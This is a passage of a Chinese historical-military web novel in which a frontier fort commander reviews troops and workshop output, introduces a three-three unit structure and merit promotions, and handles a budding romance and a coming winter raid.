步兵四百五十九人(含枪兵、刀盾手)
**手一百九十人、犬兵队一百人、亲兵队一百人,合计一千一百三十七人。
此外,辅兵五百人,少年队五十八人,女——女子队三十三人。
入寨训练的编外青壮五百人。
符合条件、定期训练的民众七百多人。可随时补充。各处营地、校场均已按制分配使用。”
秦猛听到战兵和预备役数量,并不觉得意外。
这里是北方边塞,“全寨上下,平时耕牧、战时应征、烽起即上墙”,是制度化的生存方式。
“流民安置与劳力:本月新收容流民两千余口,挑选多批手艺人分入各工坊,现有固定劳力一千七百人,主要负责营建、运输及协助作坊……”
“目前各工坊人数加起来超过六百。”
“作坊产出:铁匠坊本月打制制式腰刀三百把、长矛、枪头千余枚、箭镞一万余枚、马蹄铁三千副、马镫五千对,这两样八成已经转交飞虎卫。
火器坊制出**三千余个,军寨常备三百个、库存八百余个,其余同样已转交给飞虎卫。
衣甲坊赶制棉被,冬衣各八百套、棉鞋五百双,皮甲及内衬二百件……
“炼盐坊,共得雪花盐约五百石。
酿酒坊出‘北风烈’原液两千三百斤……”
第146章 三三制,定军魂
“炼盐,酿酒,这两处工坊设立较晚,尤其是酿酒工坊!再者,买卖需要时间沉淀,本月盈利不多。”
诸葛风说完各个工坊产出后,特意补充说明。随后才拿出核心账本,做了一个全面的总结。
“粮秣军资:本月共消耗粮食三千三百五十八石。
雪花盐售出所得银钱三千六百贯。
北风烈售出所得八百贯……
军寨购铁料、粮种、棉布、药材等共支出……目前库房结余银钱……目前粮仓存粮三万四千余石,足可支撑全军及附属人口大半年有余……”
老保长王槐终究是上了年纪,许多琐事儿都是由诸葛风协助操持,每一项数据都清晰具体,勾勒出军寨一个月来的飞速发展和庞大的消耗。
秦猛凝神静听,不时发问几句,粮食是他亲自为之,重点关注银钱结余和军械产能这两大类。
听完汇报后,他沉吟起来,手指轻轻敲击桌面。考虑是否将几个军工作坊合并成寨军器监。
专门选择一块地建立厂房,分为几个区域。铁匠,木工,衣甲,火器融为一体,互帮互助,这样打造军械命令下达,无疑会方便很多。
而汇报完的诸葛风刚坐下。
文案李恒犹豫片刻,看了看其他人,壮着胆子起身:“大…大人,军寨战马,牛羊逐渐增多,需要更多的人手喂食草料,清理粪便等。眼下正是冬季,却不能忽视,防止瘟病滋生。
山谷砖窑场那边规模扩建,也扩充了人手,过百人。为了方便管理,我建议再成立两个工坊。”
“知道了,你这提议不错,此事我已经有考虑。”秦猛看了看这个年轻的书生,对方经过这段时间历练已经成长了许多,不禁露出个笑容。
“我打算设立畜牧部,顾名思义,畜牧部专职负责照料战马牛羊,开春了放牧,需要兽医,定期检查,防止瘟病,擅长养马,放牛的人。
“另外还有工程队,可以将砖窑场,擅建造的泥瓦匠们并入,专门负责军寨营建,寨墙加固等。明年春耕也要准备,擅长耕种,也是人才。这相关方面的人还需要诸位帮忙留意物色。”
众人纷纷应下,李恒则在心里感慨,猛子哥果然有所考虑,而且考虑周到,目光更长远。
秦猛吩咐完,骤然起身:“眼下已是腊月,天寒地冻,**动向不明,不可松懈。传令下去:
一、兵员训练不可止歇,尤其新兵,要尽快形成战力。
二、各作坊,尤其是军械、箭矢,要再加快进度。告诉鲁师傅和各位匠头,有功者,重赏!”
三、流民安置要稳,莫要生出乱子,若有风寒疫病苗头,立即上报隔离,通知医疗所救治。
四、粮草储备力度加强,那些幽州苦力,甄别家境好的,让他们写信让家里人送钱粮来赎。”
秦猛下达几条命令后,神色肃穆,声沉如铁:“暴雪来临之前,必有场大战,诸位做好准备。”
“诺!”两位主薄与文吏们纷纷起身,齐声应命。迅速记录下秦猛的指令,随后下去准备。
……
午后的铁血军寨,界河沿岸的雪墙在朔风中绵延数里。兵卒和劳力们不断用车运送积雪堆砌。
雪墙有大半人高,三四尺的厚度,冻得硬邦邦的。秦猛连连猛踹,雪墙没倒,腿却发疼。
他又翻过冰墙,踏在冰封的河面上,检验是否能承受人马的重量,最终的消息不容乐观。
河中心深水区,人走在上面发出嘎吱响。
而浅水区冰块非常厚,人骑着马是可以在上面踱步的。
秦猛裹紧大氅,面色凝重地回到官署。炭火噼啪作响,他抬手驱散肩头寒气,随即唤来秦大壮与王铁山两位部将,边烤火边商议军事。
此前女真图鲁木部马场遭袭,千多匹战马、千余头牛羊被掠走,千多名勇士折损,至少两个千夫长战死,部族元气大伤。暂无力来犯。
但秦猛深知边塞局势瞬息万变,草原**甚多。眼下最要紧的,是补上军队的“致命漏洞”。
“军寨这一段界河防线已稳,但双涡堡需重点盯防。”
秦猛手指摊开的舆图,指尖落在标注“双涡堡”的位置,“契丹人素来记仇,冬日粮草紧俏,他们又吃了亏,极可能借报复掠夺物资。
铁山,你率两百精锐即刻驰援,与富贵会合。加固堡墙、增设箭楼,务必10个地方**来袭。”
王铁山抱拳应诺,粗粝的嗓音震得帐内烛火微晃:“将军放心,俺定让契丹人碰一鼻子灰!”
“对了,唤你二人来,除了冬季布防,更要议咱军寨的军制改革。”秦猛话锋一转,语气凝重。
“往日作战,常因队官、将领阵亡,手下兵士群龙无首、军心涣散。
据袁飞说,这种事经常发生,去年与**厮杀时,就因一个什长战死,整队人乱了阵脚,前年副将被射杀,军心涣散,差点丢了阵地。
这弊端,必须根治!”
秦大壮与王铁山皆是沙场老将,对此深有体会,纷纷点头。
秦猛随即道出心中谋划:“我想推行‘三三制’,再配套一套擢升体系。
朝廷的规制咱管不了,但铁血军寨要让儿郎们看到奔头——只要敢打敢拼,就有机会当上官!”
他俯身在案上画出编制图谱,逐条详解:“基础编制仍按五人一伍,保留兵卒熟悉的架构。
三伍为一什,什长统十五人,增设一名副手。
三什为小队,统五十人,增设队长,两名队副。
三小队为中队,队将带一百六十五人,配
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三名队副,一人管后勤,一人主训练、一人主作战。
三中队为一部,部将统五百人,配警卫小队,设六名副官,分管练兵,侦察、后勤、兵器、伤员救治与阵形指挥。”
王铁山眼睛一亮,拍着大腿道:“如此一来,就算主将出事,副手能立刻顶上去,队伍不会乱。
“没错,这样一算下来。”秦大壮掰着指头数:“多了几十个职位,兄弟们打仗更有劲头了!”
秦猛继续补充:“训练时还能临时设小组组长,让新兵跟着老兵学,时常把队伍打乱重练,既练了配合,又能选出可用之才,一举两得!”
三人又细议补漏,敲定军功评定标准:斩杀一名**兵记一功,缴获战马记三功,守住阵地记五功。值班,巡逻等都会有军功累积。
晋升需军功数达标,想要成为队将,要经同队兵士举荐、上官考核,确保选出来的都是能打仗、能带兵的硬汉子。
商议既定,秦猛即刻传李恒过来,命他起草公文,将编制、军功、晋升渠道等一一列明。
措辞清晰直白,让识字不多与不识字的兵士都能看懂。
未过半个时辰,这份告示便贴满了各军营的辕门、营房外墙。
此时正值一轮训练,休整,兵士们纷纷围拢过来。
识字的兵卒大声念诵,不识字的人凑在一旁听。
很快,军营炸开了锅。
“天爷!这一下多了几十个职位!”
“俺要是能当上队正,家里老娘也能跟着享福了!”一个满脸风霜的老兵攥着拳头,眼中闪着光。
“可不是嘛!以前总觉得这辈子就是个大头兵,现在只要杀**、好好训练,就能被提拔!”
几个新兵蛋子兴奋地议论着,年轻的脸上满是憧憬。
就连往日里少数消极的兵士,此刻也凑过来仔细听,嘴角渐渐扬起笑意,因为有了希望。
不多时,训练哨声尖锐响起,兵士们一改往日的拖沓,个个昂首挺胸,跑步集合的脚步声整齐。
队列中,喊杀声比往日洪亮数倍。
挥刀、刺枪的动作也格外有力——人人都想在训练中好好表现,杀敌立功,搏一个前程。
秦猛正在翻开账本查看,见近日粮草消耗平稳,新一批冬衣也已分发到位,流民信息资料……
突然间,营中震天的喊杀声传来。
他觉得这声音比以往更有气势,再抬眼望向窗外,漫天风雪不知何时小了些。久违的阳光,透过云层洒在雪地上,映出一片耀眼的白光。
“第一场雪,是要停了吗?”
他嘴角勾起一抹浅笑,指尖轻轻敲击着文册上“三三制”的字样,眼中却闪过一丝凝重!
雪停,是契丹、女真环伺的压力,是冬日边塞的生存危机。
第147章 寒夜帐暖两心知
官署内,烛火明灭不定,将案上的账册与文书映出几分晃动的光影。
秦猛正襟危坐,翻看账册核对数据,对着摊开的军寨规划图凝神思索,提起毛笔,笔锋落处,或是圈改审批意见,或是勾勒营建细节。
身为知寨,他肩上从不止领兵作战的重任,军寨钉在边塞,存续与发展更需要亲手擘画。
下头人能各司其职,处理各项事务。
可军寨经营,具体方向与根基,终究要他来定。
案上的草图层层叠叠,土法水泥的炼制步骤、白糖的提纯工艺、压缩干粮的配比构想,既是财源路子,又是军用,皆标注得清晰详实。
旁侧还铺着铁血学堂的规制图、铺屋的改良设计、防御工事的立体草图,以及新主寨的选址标注与军营,仓房,武器等营建方案……
每一笔都系着军寨的未来!
他时而眉峰紧蹙,似在权衡利弊,时而提笔疾书。偶得妙想时,嘴角还会漾开一抹轻快的笑意。
窗外的月光不知何时漫进屋内,落在他棱角分明的脸上。
案脚边,几个揉皱的纸团静静躺着,都是方才勾勒出来觉得不满意,斟酌再三后废弃的构想。
“猛子哥,夜深了,该歇了。”秦猛刚放下笔伸了个懒腰,陈月娘便端着一碗热鸡汤走进来,语气里带着几分嗔怪,却又藏着浓浓关切。
“先把鸡汤喝了,身子是根本,可不能熬坏了。”
她将碗轻放在案上,弯腰捡起落在地上的大氅,仔细为秦猛披上,还轻轻理了理他的衣领。
“知道了,这不是思路正顺,想多敲定些事嘛。”秦猛转头朝她笑了笑,拿起鸡汤一饮而尽,暖意顺着喉咙滑进胃里,顿觉浑身暖洋洋。
见陈月娘要伸手收拾地上几个纸团,他一把抓住她的手腕,顺势将人搂进怀里,转身就往后堂走:“别收拾了,明天再说,先回屋睡觉。”
“哎哟!猛子哥,你快放开,让人看见多不好!”
陈月娘浑身一颤,脸颊瞬间红透,连耳尖都泛着热。手忙脚乱地想推开秦猛,可她那点力气,在虎背熊腰的秦猛面前不过是徒劳。
两人刚踏出官署门槛,却正巧遇上从秦小芸屋里出来的林婉儿,她手里还攥着绣好的帕子,见此情景,脚步猛地顿住,俏脸一下子红了。
陈月娘更是娇羞,推搡的动作也停了下来,羞得低下头,声音细若蚊蚋:“婉、婉儿妹子……”
她说着,羞恼地瞪了秦猛一,却悄悄攥紧了秦猛的衣襟,像是在催促,又像是在寻求支撑。
秦猛倒也坦荡,只朝林婉儿拱了拱手,咧嘴笑了笑:“婉儿姑娘还没歇息,可不能熬夜。”
说完他便搂着陈月娘快步往正屋走,木门“吱呀”一声合上,将院中的尴尬彻底隔在门外。
林婉儿站在原地,指尖无意识地绞着帕子,方才两人亲密相拥的一幕,在眼前挥之不去。
她望着紧闭的屋门,嘴角缓缓牵起一抹苦涩的笑,心里像是空了一块,连夜风卷来的梅香都变得有些寡淡。
她轻轻叹了口气,拢了拢身上的衣裳,转身踩着薄雪慢慢往自己屋走,脚步比往常慢了许多。
女孩背影在月光下显得格外单薄。
刚走了几步,侍女小蛮端着木盆从伙房归来,盆里热水冒着袅袅白雾。
到了近前,小蛮眼尖,一眼就看出林婉儿神色不对,快步上前,把盆往廊边石桌上一放。
她凑过来拉了拉林婉儿的衣袖:“小姐,你怎么了?脸这么白,是不是夜里风凉着了?”
林婉儿脚步顿住,指尖还攥着那方帕子,沉默片刻才轻轻摇头:“没什么,就是有点乏了。”
“没什么才怪呢!”小蛮皱着眉,语气带着焦急:“哦!小姐,你不会又是在想……秦知寨吧?”
见林婉儿垂着眼不说话,小蛮叉着腰,劝说:“按我说,你直接跟他表露心意,我娘说,男追女隔座山,女追男隔层纱,你主动点,说不定事儿就成了!”
“哎,你不懂!”林婉儿闻言,嘴角牵起一抹苦涩的笑。一声若有若无的叹息被夜风吹散。
……
正屋内,烛火摇曳,将两人的身影投在墙上,交织晃动,平添几分暖昧。
陈月娘仰头看着秦猛,脸颊绯红,似要滴出血来。
她举起粉拳,不轻不重地捶在他结实的胸膛上,声音带着娇嗔:“猛子哥,怪你,都怪你!方才在院中……让人瞧见了,羞**了!”
秦猛眼疾手快,一把抓住那皓腕,稍一用力。陈月娘“啊呀”一声轻呼,整个人便跌进他宽阔的怀抱,鼻尖充斥着男子气息,让她心跳更快。
“看见了便看见了,”秦猛低笑,带着不容置疑的笃定,“你是我秦猛未过门的妻子,光明正大。”
他顿了顿,手臂环得更紧些:“我已请老保长操持此事。腊月十八,是顶好的黄道吉日。到时热热闹闹地把你娶过门,让全寨子的人都来做见证。”
怀中的陈月娘闻言,脸颊烫得厉害,忙将脸埋进他衣襟挡住羞态,双手悄悄环住了他的腰。
她没有辩驳,心里像打翻了蜜罐,甜滋滋的,又带着难以言喻的激动与安稳。
这一天,她确实盼了太久。
秦猛下颌轻轻蹭着月娘柔软的发顶,嗅着那淡淡的、属于她的清香。
陈月娘也静静依偎着,听着他那沉稳有力的心跳声,只觉得,世间最安稳处莫过于此。
忽然,她抬起头,眼眸水亮,直勾勾地盯着秦猛,语气里带了丝自己都未察觉的酸意:
“猛子哥,婉儿妹妹……她看你的眼神,分明是对你有了心思。”
秦默沉默片刻,终是叹了口气:“我又不傻,怎会看不出?”
“她那般的金枝玉叶,却偷溜出来这军寨,还不是为了瞧你?”陈月娘竖起眉梢,声音闷闷的。
她手指无意识地绞着秦猛的衣带,“真不知你这憨子有哪里好?婉儿妹妹是郡
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守千金,知书达理,模样又好,竟也…竟也让你偷走了芳心。”
“嘿,什么叫我这憨子有啥好?”秦猛一听,故意板起脸,“你瞧我,身强力壮,脸盘俊朗。
年纪轻轻,已是六品正将,知寨官,可是虎贲军里拔尖的新秀!多少人想攀还攀不上呢……”
他话语里带着几分戏谑的自夸,眼神却紧盯着月娘。
“哼,是喔!”陈月娘瘪瘪嘴,哀怨地瞥他一眼,“你如今地位高了,瞧不上我这乡下姑娘,婉儿妹妹那般身份,正好与你门当户对呗?”
这话出口,酸意几乎溢满屋子。
秦猛却像是发现了什么新奇事,诧异地挑眉:“咦?月娘,你这调调……前所未有啊!竟学会这般撒娇捻酸了?”
他笑着捏捏她的鼻尖,“你以往可是动辄抄扫帚、拎烧火棍的巾帼英雄,几时见过你这小模样?看来与林姑娘相处这几日,倒是学了不少。”
“那又怎样?”陈月娘脸上飞起红霞,却强撑着露出得色,“婉儿妹妹就是博学多才,懂得可多了。”
她语气稍顿,声音低了下去,带着一丝不易察觉的忐忑,“婉儿妹妹对你有心意,你……你心里究竟是……”
秦猛伸出手指,轻轻抵住她的红唇,摇了摇头,脸上戏谑之色褪去,染上几分无奈。
“莫要问了。林姑娘的父亲,林郡守,我见过。那是正经的读书人,最重礼法规矩,且……向来有些瞧不上我们这些舞刀弄枪的武夫。”
他叹了口气,将月娘重新搂紧:“官宦人家的公子小姐,婚姻大事,几时能由得自己?
这其中牵扯,你大致也明白,无非就是**联姻。有些事,强求不来,也……不应去强求。”
“哎……”陈月娘听出他话中深意,也轻轻叹了口气,先前那点酸涩莫名化作了些许复杂的情绪。
她不再说话,只将身子更紧地偎进秦猛怀里。
秦猛搂着她,下颌抵着她的发顶。
屋内一时,只剩烛火偶尔爆开的噼啪轻响。
“不提她了。”半晌,秦猛打破沉默,手指勾起月娘的下巴,拇指摩挲着她细腻的肌肤,目光灼灼,“月娘,其实这军寨上下,谁不知你是将军夫人?胆子放大些,今晚……就别走了。”
陈月娘闻言,一张俏脸顿时红透,似天边晚霞。
她慌忙用力推开秦猛,心跳如擂鼓,声音发颤:“哼!你变了,变得这般滑舌,尽会哄人!”
话音未落,她却忽地踮起脚尖,飞快地在秦猛脸颊上亲了一下,如同蜻蜓点水,一触即分。
随即,她转身,像只受惊的兔子,飞快地跑了出去,裙裾在夜风中划出一道翩跹的弧线,脚步声迅速远去。
秦猛愣在原地,指尖拂过方才被柔软唇瓣触碰过的地方,仿佛还残留着那份温热与悸动。
他望着佳人消失的门口,最终只得无奈地摇头苦笑,低声喟叹:“哎,看来今晚,又得一个人睡了。”
第148章 风雪中,佳人回眸
从昨日傍晚开始,风雪渐渐小了,呼啸的北风收了势。
只余下细碎的雪沫子在半空打着旋,落在军寨的建筑上,清理区内,积成薄薄一层白霜。
冬季的第一场雪快结束,天地间的苍茫淡了些,空气却愈发凛冽,预示着真正的寒冬即将降临。
今天照例巡视军寨,秦猛踩在融雪的木栈道上咯吱作响时,营指挥张崇找了来,手里攥着叠好的披风,语气带着几分恳切地提出告辞。
他在军寨呆了十余天,跟着学了不少实战布防的法子,如今诸事妥当,是该返回郡城复命。
“好,我正好有事要办,送你们一程。”
秦猛本就有打算,近期要前往巡检司驻地处理公务,此番正好与张崇等人顺道,决定同行。
只是分别时,林婉儿与陈月娘、秦小芸三人眼眶都红了,拉着手依依惜别,还互赠了礼物。
陈月娘攥着林婉儿的手,把白狐裘往她怀里又塞了塞:“这裘子是草原上等皮料,软和得很,路上风大,你可千万裹紧些,别冻着身子。”
林婉儿把行医心得册子递过去,纸页上还留着淡淡的药香:“姐姐,册子上记了些治风寒、防冻伤的方子,军寨冬日湿冷,你和姐妹们都用得上,要是有不懂的等我再来寻你细讲。”
秦小芸则塞给林婉儿一把短刀,银亮的刀鞘映着雪光:“婉儿姐姐,这刀看着小,却锋利得很!路上若遇着歹人,你便**防身。”
“婉儿姐姐,有空就来军寨玩!”
秦小芸,王艳使劲挥手,清脆的声音裹着寒风飘来。林婉儿坐在颠簸的马车里,渐行渐远。
寒风卷起渐小的雪花,在车队四周打着旋儿。
林婉儿坐在马车里,忍不住再次掀开车窗的棉帘一角,目光落在那匹神骏的踏雪乌骓之上。
秦猛的身姿挺拔,风雪勾勒出他宽阔的肩背。
她托着香腮,看得竟有些出神。
“小姐,你又在偷看秦将军?”贴身侍女小蛮笑嘻嘻地凑过来,顺着她的目光向外观瞧。
林婉儿像是被烫到一般急忙放下帘子,脸上飞起两抹红晕,强自镇定地辩解:“胡说什么?
我…我是在看后面那些厢军士卒。你难道没发现从军寨回来,他们和来时简直判若两人?”
这话倒并非全然借口。她在军寨这些时日,亲眼见过这群兵士是如何**练的,感受尤为深刻。
小蛮闻言,也好奇地掀帘仔细望去,啧啧称奇:“还真是!秦将军真是好本事。这才多少天?
这群以前的兵油子一个个挺胸抬头,眼神都带着股狠劲,瞧着就吓人。
尤其是那个姓王的都头,以前多横啊,吆五喝六,现在你看他那怂样,被收拾得服服帖帖。”
她说着,忽然扭过头,坏笑着看向林婉儿:“怪不得,怪不得秦将军能博得小姐您的欢心呢……”
“死丫头!叫你乱说!”心事被戳破,林婉儿顿时羞恼交加,伸手就去挠小蛮腰间的痒肉。
小娇笑着躲闪,主仆二人在温暖的车厢里闹作一团。
马车外,肃杀的风雪中,是两支气质迥异的队伍。
秦猛仅带了三十余名亲兵,人人黑色铁甲,背负强弓,手提马槊,马鞍两侧挂着军**与战刀。他们沉默地行进着,眼神锐利如鹰。
另一支则是张崇所率领的百人厢军。他们的变化之大,连两个女子都能看出来,其成效可想而知。
与来时路上的散漫萎靡截然不同,此刻这百余名军卒虽面容仍带风霜,却个个挺直了腰板,多数人骑乘高头大马,披挂执锐,威风凛凛。
他们经历了此生最严苛的操练,不仅初步懂得令行禁止,更是牢记“一切行动听指挥”的铁律。
唯独都头王骅是例外。
他往日里从不缺油水,这十余日却遭了大罪。
被格外“关照”的高强度操练下来,他顶着浓重的黑眼圈,整个人瘦削了一圈,昔日引以为傲的肚腩也消失无踪。
他没能记住多少军规铁律,反而对巡检使臣之死记忆更加清晰——这铁血军寨,分明是个龙潭虎穴。
他早已打定主意,只要一回到青阳郡城立刻便称病上书,递交辞呈。
这破兵谁爱当谁当去!
这都头之位,他也不干了!
车队最前方,秦猛正与张崇并辔而行,两人交谈的话题始终围绕着边境防务与**的动向。
队伍顶着风雪,朝着青阳郡城前进。
朔风卷着雪粒,像刀子似的刮在众人脸上,连最牛五这健壮的汉子都忍不住缩了缩脖子。
车轮碾过积雪的“咯吱”声,在漫天风雪里执拗地响着。
然而,谁也没有察觉到,就在道旁一片覆雪的密林深处,一双冰冷的眼睛,正无声地穿透枝桠的缝隙,牢牢窥视着这支渐行渐远的车队。
唯有秦猛这个异数,感知敏锐,总觉得被什么盯着。他猛地朝感应的方向望去,风雪里只有白茫茫的树影摇晃,连半个人影都没有。
反倒是转头时,恰好与马车上的林婉儿撞了个对眼。
女孩儿以为他是察觉自己在偷看,脸颊“唰”的红透,慌忙放下车帘,指尖攥着帘布,一颗心在“怦怦”直跳,活像揣了只乱撞的小鹿。
秦猛皱着眉收回目光,那股被窥视的不适感却没消散。他悄悄按上腰间的佩刀,眼角余光扫过身后的密林,依旧没有发现什么异常情况。
一阵更烈的狂风卷来,将车队的旌旗吹得猎
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猎作响,也把那点疑虑,暂时压进了漫天风雪里。
“是我太谨慎了?”秦猛揉了揉眉心,将那股莫名的寒意压下,只当是风雪刮得人神经过敏。
可他没瞧见,就在他收回目光的刹那,密林深处那道视线骤然缩紧,枯枝上的积雪簌簌坠落。
一道黑影如鬼魅般贴地滑行,悄无声息地缀在车队后方半里之外,只留下一串微不可查的浅痕。
……
半个时辰后。
晨雾笼罩的巡检司驻地,湿冷的空气裹挟着马匹喷吐的白气,将离别场景衬得愈发清冷。
张崇率队抵达此地后,略作休整。
巡检庞仁早已吩咐伙房送来热水干粮。
秦猛亲自将油纸包递到车窗边,林婉儿伸手接过时,指尖不经意相触,少女顿时耳根通红。
“秦将军,我...”她欲言又止,眼中水光潋滟。
秦猛后退半步,拱手道:“腊月将至,林姑娘珍重。”语气虽温和,却带着不容逾越的疏离。
“张兄弟,保重!”秦猛拨马便走,向整装待发的张崇拱手道别。
“秦将军,就此别过。”张崇在马上回礼,目光扫过车队准备妥当,随即轻夹马腹,率队前行。
马车轱辘声响起之际,那辆马车帘忽然掀开一角。
“秦将军,”林婉儿探出半张脸,晨光中面颊微红,“劳烦转告月娘姐,有空我就来军寨看她。”
少女目光灼灼,言语间藏着唯有二人能懂的双关之意。
秦猛自然听得出弦外之音,却只能温和笑笑:“好,一定。北方天冷,婉儿姑娘照顾好自己。”
他稍作停顿,神色转为肃穆,“转告林郡守,雪过天晴,**必定来袭,请他务必稳住后方。”
“好!”女孩使劲点头,手指攥着车帘迟迟未放,直至车队开始移动,才红着脸缩回车厢。
马车内,林婉儿还没平复心跳,指尖却忽然触到一丝凉意。
车帘的缝隙里,竟飘进了一片带着淡淡腥气的雪花。
她愣了愣,凑到帘缝前往外看,风雪依旧漫天,可远处的密林方向,似乎有一缕极淡的灰烟,正顺着风势往上飘,又很快被雪压了下去。
林婉儿心里莫名一紧,指尖攥着帘布微微发颤。她张了张嘴想喊秦猛,可话到嘴边又咽了回去。
万一只是自己胡乱猜测,反倒让他分心怎么办?她悄悄咬了咬下唇,将那点不安压进心底。
可转念一想,林婉儿又忍不住掀开小帘一角,恰好撞进秦猛望过来的目光里。她弯起唇角露出个甜甜的笑,眼底却藏着一丝不舍与担忧。
待那人的身影模糊了,她才对着风雪轻声祈祷:“秦将军,一定要凯旋,平平安安的……”
第149章 烽烟将起
发乎情,止乎礼!
秦猛驻马而立,面露微笑,挥手与林婉儿道别。目送车队穿过巡检司后门,在官道上渐行渐远。
最终消失在视野尽头。
他收回视线,不由长叹一声:“哎,真是头疼呀!”
秦猛这个从后世穿越而来的变数,又不是榆木疙瘩。几天相处,岂会看不出林婉儿眼中情愫?
昨晚还跟陈月娘说起过此事!
只是他已有未过门的妻子,又值**即将来犯。边关危在旦夕之际,实在无心纠缠儿女情长。
庞仁在一旁看得分明,待车队远去后,竟然不知死活地凑上前:“大人,这林小姐似乎...”
“闭嘴!”秦猛瞪眼喝斥,“管好你的巡检司,少嚼舌根!”
庞仁吓得一缩脖子,赶忙噤声。
“哼,本将倒要看看你这‘庞阎王’,练兵练得怎样?”秦猛脸色阴沉,甩动缰绳,直奔关内。
**狐假虎威,狂翻白眼:“就是,大人做事哪轮到你说三道四?练兵不好,把你撸到底!”
“嘿!你小子长能耐了?怎么着我也是你庞哥!”庞仁嘴巴一撇,正要摆资历,前方已传来秦猛的责问。
“庞巡检!过来!”
秦猛鞭梢直指后方关隘,“这就是你布的防?两座箭楼,一道木栅?拒马都没有,若是**从后方突袭,你这巡检司半日都守不住!”
庞仁被这突如其来的责问惊得一愣,忙拍马追上:“大人,后方便是郡城方向,历来是...”
“糊涂!”秦猛策马前行,鞭梢划过整条防线,“董家与**往来密切,称兄道弟。若是起了歹心,里应外合,第一个端的就是你这巡检司!”
他纵马沿关墙疾行,一连挑刺似的指出十余处疏漏:
箭楼间距过大,栅栏墙根基不牢,营房分布杂乱,甚至山顶瞭望塔上的观察哨都视野受限……
庞仁跟在后面冷汗涔涔,他惯性思维,原以为后方布防只是走个过场,没想到秦猛竟如此较真。
行至校场,三百兵卒正在操练。
见秦猛到来,兵卒训练愈发卖力。
骑兵纵马奔驰,步兵枪阵如林,倒是颇有几分气势。
“花架子!”秦猛冷声道,“骑兵冲锋毫无章法,步兵变阵拖沓。若是**突袭,早就被冲得七零八落。”
庞仁苦着脸:“大人,这些兵才训练十来天...”
“从今日起,军队推行三三制。”秦猛勒住战马,把铁血军寨推行的军事改革给庞仁道明。
“这个练兵,也可以灵活变动,调整。以三人为小组,三组为伙,三伙为一小队,三小队为中队。彼此相互依托,进退协同,攻守相援。”
他详细讲解现代军事编制的好处。
庞仁起初不以为意,越听越是心惊。
这等编组方式看似简单,却暗合兵法精要,尤其适合小规模遭遇战,命令畅通,指挥有度。
正午时分,庞仁特意命人杀猪宰羊,招待秦猛一行。
秦猛有事找这位庞巡检,便答应下来。与他一同来到伙房,顺便巡视一下卫生和伙食情况。
巡检司变化是真的大,背靠郡城,又有军寨支持。粮草不缺,从往日两顿改为一天三顿管饱。
这几天,兵卒更是顿顿有荤腥。
那是秦猛派人送来战马时,捎带来了几车冻成冰砣的马肉。巡检司官兵对他敬重而多过畏惧。
席间,秦猛见四周没有外人,开始说明来意。
“你脑袋放灵活一点,不要仅局限三百兵额。”他压低声音,“以乡勇营建的名义,再招三五百人。实则暗中训练,粮饷我从军寨拨付。”
“真的?”庞仁大喜过望,谁不希望手下兵多?
他正欢喜间,却见秦猛神色骤变,好奇地问道。
“大人,可是有大事发生。”
“不错,这是我亲自前来的原因。”秦猛点头,放下碗筷:“界河冰封在即,有场硬仗要打。你这离双涡堡更近,那边烽火起时,不得驰援。”
“什么?”庞仁惊得筷子掉落,“可…可是军令...”
“那是送死。”秦猛冷笑,“**最擅围点打援。你的任务是守住这条要道,确保郡城安全。”
他蘸着酒水在桌上画出示意图:“若见血色烟花,说明**大举来犯,立即全军备战,飞报郡城。
特别是那个姓董的,这老东西勾结**实锤,是个隐患。这老狗颇有城府,多半会暗中通敌……”
秦猛比了个抹喉的手势,“必要时,先斩后奏。”
庞仁背脊发凉,这才明白秦猛今日为何如此仔细巡视后方防务。
原来真正的杀机不在前方,而在身后。
送走秦猛时已是午后。庞仁站在刚刚加固的箭楼上,远望郡城方向,仿佛一头蛰伏的猛兽。
“来人!”他突然喝道,“后门防卫加强,设立拒马,增派双岗,没有我的手令,任何人不得出入!”
界河边的双涡堡,正弥漫着与往日截然不同的紧张气息。
自秦猛十天前亲赴此处巡视,斩了克扣军饷、资助**的队将黄安,又派部将张富贵坐镇。
这座曾被**搅得人心惶惶的边堡像被注入了新魂魄。
张富贵满脸横肉,落腮虬髯,作战极其勇猛。这人看似粗鲁莽撞,实则胆大心细,秦猛交托的事从无折扣。
接手双涡堡当日,他便将“操练不怠,防务不松,民心不散”的命令贴在堡门,警示全堡。
随后,他雷厉风行的行动。
从原有戍卒中挑出五十个底子尚可的,加入
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本部骑兵队,每日天不亮带他们在堡外雪原奔驰,堆积雪人劈砍,马刀光在寒风里闪着冷冽。
张富贵又让副手林军挨家选青壮,拉进操练场。
如今堡内两百戍卒列队操练,喊杀声震落屋檐积雪。
——前些日子他们还面黄肌瘦,如今顿顿有荤腥、添了棉衣,眼神满是斗志,挥刀似能劈开风雪。
加固城防的事,张富贵本想动员百姓不得懈怠,可不用他吩咐,堡民就自发扛着工具来了。
壮劳力顶寒风运巨石、伐木材,堆得比堡门还高。
妇人们在家烧热水、煮姜汤,隔半个时辰往工地送。
半大孩子提竹筐运雪球,冻硬的雪球码在棚里,战时能当“滚石”用。
先前被**攻破的堡墙缺口,早已修补一新。
张富贵让人用木板搭模具,混合泥沙、石灰与碎草,浇上冰水,半日就冻成比原墙还厚的冰墙。
冰墙与寨墙等高等宽,铺防滑木板、盖稻草御风雪,远看与原墙浑然一体,看不出破损。
每日操练完,张富贵都亲自巡视堡墙,踩积雪走得满头汗也不歇。
他还派探子深夜过河探查草原。
这几日,探子传回消息越发急:游骑比往常多几倍,夜里能看到远处帐篷火光,显然有**集结。
“怕是要打大仗了。”张富贵望河对岸皱紧眉。
此后几日,他上报情况后,对兵卒训练更严苛:
骑兵奔驰距离加一倍,步兵劈砍练到手臂发麻才停。
堡墙上滚石、弓箭堆得更多,伙房也提前蒸干粮,备战事。
这日清晨,张富贵带新兵在操练场练刺杀。
“报——!”突然有军卒飞奔而来,满脸喜色地汇报:“将军!王部将带兵到堡外,来驰援咱们了!”
“真的?”张富贵猛攥马鞭,横肉都笑开了花。他大步往堡门跑,披风被风吹得翻飞也不顾。
刚到堡门,就见远处雪地里,一支铁甲队伍浩浩荡荡赶来,甲胄闪冷光,马蹄溅雪雾,老远能感肃杀气。
队伍前方,王铁山骑马笑着——他奉命从主寨抽两百精锐,运送箭矢**等物。天蒙蒙亮出发,顶风雪赶路,午后,抵达双涡堡。
“哈哈哈!老王!你可算来了!”张富贵快步上前,一把抓住王铁山手腕,力道差点让他趔趄。
“张堡主,恭喜你把双涡堡整治得好,秦知寨还在主寨夸你呢!”王铁山重重地拍他的肩膀。
两人是老搭档,重逢有说不完的话。
张富贵当即让人杀猪宰羊、拿好酒,款待增援精锐。
堡民听说来了援军,纷纷围到堡门口,看威风铁甲军汉,脸上的担忧少了,多了几分心安。
——有这样的队伍,再凶的**也能挡回去!
第150章 馒头未冷,刀已封喉
